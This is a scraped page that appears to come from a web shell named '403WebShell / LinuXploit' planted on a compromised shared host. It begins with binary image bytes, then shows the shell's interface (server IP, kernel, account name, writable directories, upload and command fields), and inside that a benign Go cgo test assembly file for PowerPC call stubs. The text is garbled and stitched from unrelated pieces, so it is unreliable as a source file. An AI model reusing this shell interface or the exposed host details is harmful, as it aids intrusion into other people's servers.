JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.227  /  Your IP : 216.73.216.176
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/golang/1.22.0/src/cmd/cgo/internal/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/golang/1.22.0/src/cmd/cgo/internal/test/stubtest_linux_ppc64le.S
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// When linking C ELFv2 objects, the Go linker may need to insert calling stubs.
// A call stub is usually needed when the ELFv2 st_other attribute is different
// between caller and callee.
//
// The type of call stub inserted will vary depending on GOPPC64 and the
// buildmode (e.g pie builds shared code, default builds fixed-position code).
// CI is set up to run for P8 and P10 machines, and this test is run in both
// pie and default modes.
//
// Several functions are written with interesting st_other attributes, and
// call each other to test various calling combinations which require stubs.
//
// The call tree is as follows, starting from TestPPC64Stubs (A C function):
// TestPPC64Stubs (compiled PIC by default by Go)
//   notoc_func          [called TOC -> NOTOC (but R2 is preserved)]
//     toc_func          [called NOTOC -> TOC]
//       notoc_nor2_func [called TOC -> NOTOC]
//       random          [dynamic TOC call]
//     random		 [dynamic NOTOC call]
//
// Depending on the GOPPC64/buildmode used, and type of call, one of 7 stubs may need inserted:
//
// TOC   -> NOTOC:     Save R2, call global entry. (valid for any GOPPC64)
//                      TOC save slot is rewrittent to restore TOC.
// NOTOC -> TOC [P10]: A PIC call stub using P10 instructions to call the global entry
// NOTOC -> TOC [P8]:  A PIC call stub using P8 instructions to call the global entry
//
// TOC   -> dynamic:              A PLT call stub is generated which saves R2.
//                                 TOC save slot is rewritten to restore TOC.
// NOTOC -> dynamic [P10]:        A stub using pcrel instructions is generated.
// NOTOC -> dynamic [P8/default]: A P8 compatible, non-PIC stub is generated
// NOTOC -> dynamic [P8/pie]:     A P8 compatible, PIC stub is generated
//
//
// Some notes about other cases:
//   TOC -> TOC, NOTOC -> NOTOC, NOTOC -> TOC  local calls do not require require call stubs.
//   TOC -> NOTOC (R2 is preserved, st_other==0): A special case where a call stub is not needed.

// This test requires a binutils with power10 and ELFv2 1.5 support. This is earliest verified version.
.if .gasversion. >= 23500

// A function which does not guarantee R2 is preserved.
// R2 is clobbered here to ensure the stubs preserve it.
	.globl	notoc_nor2_func
	.type	notoc_nor2_func, @function
notoc_nor2_func:
	.localentry notoc_nor2_func,1
	li	2,0
	blr

// A function which expects R2 to hold TOC, and has a distinct local entry.
	.globl	toc_func
	.type	toc_func, @function
toc_func:
	addis	2,12,.TOC.-toc_func@ha
	addi	2,2,.TOC.-toc_func@l
	.localentry toc_func, .-toc_func
	mflr	0
	std	0,16(1)
	stdu	1,-32(1)

	// Call a NOTOC function which clobbers R2.
	bl	notoc_nor2_func
	nop

	// Call libc random. This should generate a TOC relative plt stub.
	bl	random
	nop

	addi	1,1,32
	ld 	0,16(1)
	mtlr	0
	blr

// An ELFv2 st_other==0 function. It preserves R2 (TOC), but does not use it.
	.globl	notoc_func
	.type	notoc_func, @function
notoc_func:
	// Save R2 and LR and stack a frame.
	mflr	0
	std	0,16(1)
	stdu	1,-32(1)

	// Save R2 in TOC save slot.
	std	2,24(1)

	// clobber R2
	li	2,0

	// Call type2_func. A call stub from notoc to toc should be inserted.
	bl	toc_func@notoc

	// Call libc random. A notoc plt stub should be inserted.
	bl	random@notoc

	// Return 0 to indicate the test ran.
	li	3,0

	// Restore R2
	ld	2,24(1)

	// Restore LR and pop stack
	addi	1,1,32
	ld 	0,16(1)
	mtlr	0
	blr

.else

// A stub for older binutils
	.globl	notoc_func
	.type	notoc_func, @function
notoc_func:
	// Return 1 to indicate the test was skipped.
	li	3,1
	blr

.endif

Youez - 2016 - github.com/yon3zu
LinuXploit